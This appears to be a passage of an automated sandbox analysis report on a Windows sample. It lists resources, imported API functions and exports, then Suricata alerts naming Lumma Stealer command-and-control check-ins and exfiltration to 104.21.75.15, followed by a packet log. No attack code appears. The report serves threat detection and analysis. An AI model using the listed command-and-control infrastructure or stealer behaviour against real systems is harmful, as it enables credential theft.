RT_VERSION	0x3e0450	0x17c	data	English	United States	0.5684210526315789
RT_MANIFEST	0x3e05cc	0x2e9	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.4993288590604027

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	CharNextW, LoadStringW
kernel32.dll	Sleep, VirtualFree, VirtualAlloc, lstrlenW, VirtualQuery, QueryPerformanceCounter, GetTickCount, GetSystemInfo, GetVersion, CompareStringW, IsDBCSLeadByteEx, IsValidLocale, SetThreadLocale, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, GetLocaleInfoW, WideCharToMultiByte, MultiByteToWideChar, GetConsoleOutputCP, GetConsoleCP, GetACP, LoadLibraryExW, GetStartupInfoW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetCommandLineW, FreeLibrary, GetLastError, UnhandledExceptionFilter, RtlUnwind, RaiseException, ExitProcess, ExitThread, SwitchToThread, GetCurrentThreadId, CreateThread, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, FindFirstFileW, FindClose, SetCurrentDirectoryW, GetCurrentDirectoryW, WriteFile, SetFilePointer, SetEndOfFile, ReadFile, GetFileType, GetFileSize, CreateFileW, GetStdHandle, CloseHandle
kernel32.dll	GetProcAddress, RaiseException, LoadLibraryA, GetLastError, TlsSetValue, TlsGetValue, LocalFree, LocalAlloc, GetModuleHandleW, FreeLibrary
user32.dll	SetClassLongW, GetClassLongW, SetWindowLongW, GetWindowLongW, CreateWindowExW, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassW, UnhookWinEvent, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWinEventHook, SetWindowRgn, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursorPos, SetCursor, SetClipboardData, SetCapture, SetActiveWindow, SendMessageA, SendMessageW, ScrollWindow, ScreenToClient, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PtInRect, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OpenClipboard, OffsetRect, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadImageW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, InsertMenuItemW, InsertMenuW, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetScrollBarInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageExtraInfo, GetMenuStringW, GetMenuState, GetMenuItemRect, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDlgCtrlID, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetComboBoxInfo, GetClipboardData, GetClientRect, GetClassNameW, GetClassInfoExW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EndMenu, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DeferWindowPos, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIconIndirect, CreateIcon, CreateAcceleratorTableW, CopyImage, CopyIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharUpperW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BringWindowToTop, BeginPaint, BeginDeferWindowPos, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchDIBits, StretchBlt, StartPage, StartDocW, SetWorldTransform, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetGraphicsMode, SetEnhMetaFileBits, SetDIBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RoundRect, RestoreDC, ResizePalette, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PolyBezierTo, PolyBezier, PlayEnhMetaFile, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetViewportOrgEx, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetTextColor, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectW, GetNearestPaletteIndex, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionW, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetCurrentPositionEx, GetCurrentObject, GetClipBox, GetBrushOrgEx, GetBkMode, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExtCreateRegion, ExcludeClipRect, EnumFontsW, EnumFontFamiliesExW, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRoundRectRgn, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateICW, CreateHalftonePalette, CreateFontIndirectW, CreateDIBitmap, CreateDIBSection, CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileW, CombineRgn, Chord, BitBlt, ArcTo, Arc, AngleArc, AbortDoc
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
kernel32.dll	lstrcmpW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, WaitForMultipleObjects, VirtualQueryEx, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, VerSetConditionMask, VerifyVersionInfoW, UnmapViewOfFile, TryEnterCriticalSection, SystemTimeToFileTime, SwitchToThread, SuspendThread, Sleep, SizeofResource, SetThreadPriority, SetThreadLocale, SetPriorityClass, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesW, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryW, ReadFile, RaiseException, QueryPerformanceFrequency, QueryPerformanceCounter, QueryDosDeviceW, IsDebuggerPresent, OpenProcess, MultiByteToWideChar, MulDiv, MoveFileW, MapViewOfFile, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryW, LeaveCriticalSection, IsValidLocale, InitializeCriticalSection, HeapSize, HeapFree, HeapDestroy, HeapCreate, HeapAlloc, GlobalUnlock, GlobalMemoryStatus, GlobalLock, GlobalFree, GlobalFindAtomW, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetVolumeInformationW, GetVersionExW, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadPriority, GetThreadLocale, GetStdHandle, GetShortPathNameW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLogicalDriveStringsW, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeThread, GetDriveTypeW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetComputerNameW, GetCPInfoExW, GetCPInfo, GetACP, FreeResource, InterlockedExchange, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FlushFileBuffers, FindResourceW, FindNextFileW, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumSystemLocalesW, EnumResourceNamesW, EnumCalendarInfoW, EnterCriticalSection, DosDateTimeToFileTime, DeleteFileW, DeleteCriticalSection, CreateThread, CreateSemaphoreW, CreateFileMappingW, CreateFileW, CreateEventW, CreateDirectoryW, CopyFileW, CompareStringW, CloseHandle
advapi32.dll	RegUnLoadKeyW, RegSetValueExW, RegSaveKeyW, RegRestoreKeyW, RegReplaceKeyW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegLoadKeyW, RegFlushKey, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegConnectRegistryW, RegCloseKey, GetUserNameW
SHFolder.dll	SHGetFolderPathW
kernel32.dll	Sleep
netapi32.dll	NetWkstaGetInfo
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
oleaut32.dll	GetErrorInfo, GetActiveObject, SysFreeString
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoTaskMemAlloc, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoUninitialize, CoInitialize, IsEqualGUID
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_GetImageInfo, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Copy, ImageList_LoadImageW, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_SetOverlayImage, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
user32.dll	EnumDisplayMonitors, GetMonitorInfoW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow
msvcrt.dll	isxdigit, isupper, isspace, ispunct, isprint, islower, isgraph, isdigit, iscntrl, isalpha, isalnum, toupper, tolower, strchr, strlen, strncmp, memset, memcpy, memcmp
shell32.dll	SHGetFileInfoW, ShellExecuteW, Shell_NotifyIconW
wininet.dll	InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetFolderPathW, SHGetSpecialFolderPathW, SHGetPathFromIDListW, SHGetDesktopFolder
winspool.drv	OpenPrinterW, EnumPrintersW, DocumentPropertiesW, ClosePrinter
winspool.drv	GetDefaultPrinterW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	2	0x46451c
dbkFCallWrapperAddr	1	0x721c5c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T16:00:24.847971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.75.15	443	TCP
2025-01-15T16:00:25.414691+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.75.15	443	TCP
2025-01-15T16:00:25.414691+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.75.15	443	TCP
2025-01-15T16:00:25.936479+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.75.15	443	TCP
2025-01-15T16:00:26.445797+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.75.15	443	TCP
2025-01-15T16:00:26.445797+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.75.15	443	TCP
2025-01-15T16:00:27.348911+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.75.15	443	TCP
2025-01-15T16:00:28.931914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.75.15	443	TCP
2025-01-15T16:00:30.837224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.75.15	443	TCP
2025-01-15T16:00:32.588655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.75.15	443	TCP
2025-01-15T16:00:33.116234+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	104.21.75.15	443	TCP
2025-01-15T16:00:34.421280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.75.15	443	TCP
2025-01-15T16:00:36.208851+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.75.15	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:00:24.314404964 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.314451933 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:24.314538002 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.340953112 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.340971947 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:24.847775936 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:24.847970963 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.853384972 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.853396893 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:24.853693962 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:24.896075010 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.999063969 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.999106884 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:24.999239922 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.414693117 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.414788961 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.414904118 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.432760000 CET	49730	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.432799101 CET	443	49730	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.450400114 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.450448990 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.450546980 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.451437950 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.451452017 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.936301947 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.936479092 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.938179016 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.938208103 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.938498974 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:25.940035105 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.940073013 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:25.940140963 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445779085 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445830107 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445871115 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445894957 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445929050 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.445920944 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.445976019 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446000099 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.446017027 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.446022034 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446034908 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446079016 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.446089029 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446234941 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446274996 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446278095 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.446286917 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.446326971 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.450351954 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.489845991 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.539154053 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.539261103 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.539336920 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.539372921 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.539393902 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.539442062 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.539578915 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.539593935 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.539608002 CET	49731	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.539614916 CET	443	49731	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.843839884 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.843883991 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:26.843955040 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.844322920 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:26.844335079 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:27.348839045 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:27.348911047 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:27.350403070 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:27.350418091 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:27.350651979 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:27.352061987 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:27.352251053 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:27.352277994 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:27.352333069 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:27.352341890 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.239523888 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.239634991 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.239892960 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.240056038 CET	49732	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.240080118 CET	443	49732	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.432362080 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.432425022 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.432668924 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.433001995 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.433018923 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.931799889 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.931914091 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.934040070 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.934053898 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.934395075 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:28.936141968 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.936378956 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:28.936412096 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:29.710129976 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:29.710258961 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:29.710305929 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:29.710441113 CET	49734	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:29.710464001 CET	443	49734	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.315380096 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.315438032 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.315502882 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.316034079 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.316051006 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.837142944 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.837224007 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.838898897 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.838927031 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.839215040 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.848427057 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.848567009 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.848620892 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:30.848694086 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:30.848710060 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:31.657031059 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:31.657151937 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:31.657206059 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:31.657282114 CET	49739	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:31.657303095 CET	443	49739	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.093009949 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.093074083 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.093199968 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.093547106 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.093561888 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.588531971 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.588654995 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.589922905 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.589942932 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.590244055 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:32.598501921 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.598596096 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:32.598607063 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:33.116240978 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:33.116399050 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:33.116501093 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:33.116663933 CET	49741	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:33.116689920 CET	443	49741	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:33.931654930 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:33.931756020 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:33.931880951 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:33.932185888 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:33.932205915 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.421163082 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.421279907 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.422616005 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.422643900 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.422924042 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.424267054 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425034046 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425081015 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.425190926 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425230980 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.425357103 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425389051 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.425534010 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425564051 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.425724030 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425757885 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.425946951 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.425987005 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.426001072 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.426153898 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.426192045 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.435127020 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.435347080 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.435404062 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.435441017 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.435468912 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.435527086 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.435551882 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:34.435587883 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.435645103 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:34.440437078 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:36.068288088 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:36.068533897 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:36.068619013 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:36.068741083 CET	49742	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:36.068767071 CET	443	49742	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:36.101927042 CET	49743	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:36.101977110 CET	443	49743	104.21.75.15	192.168.2.4
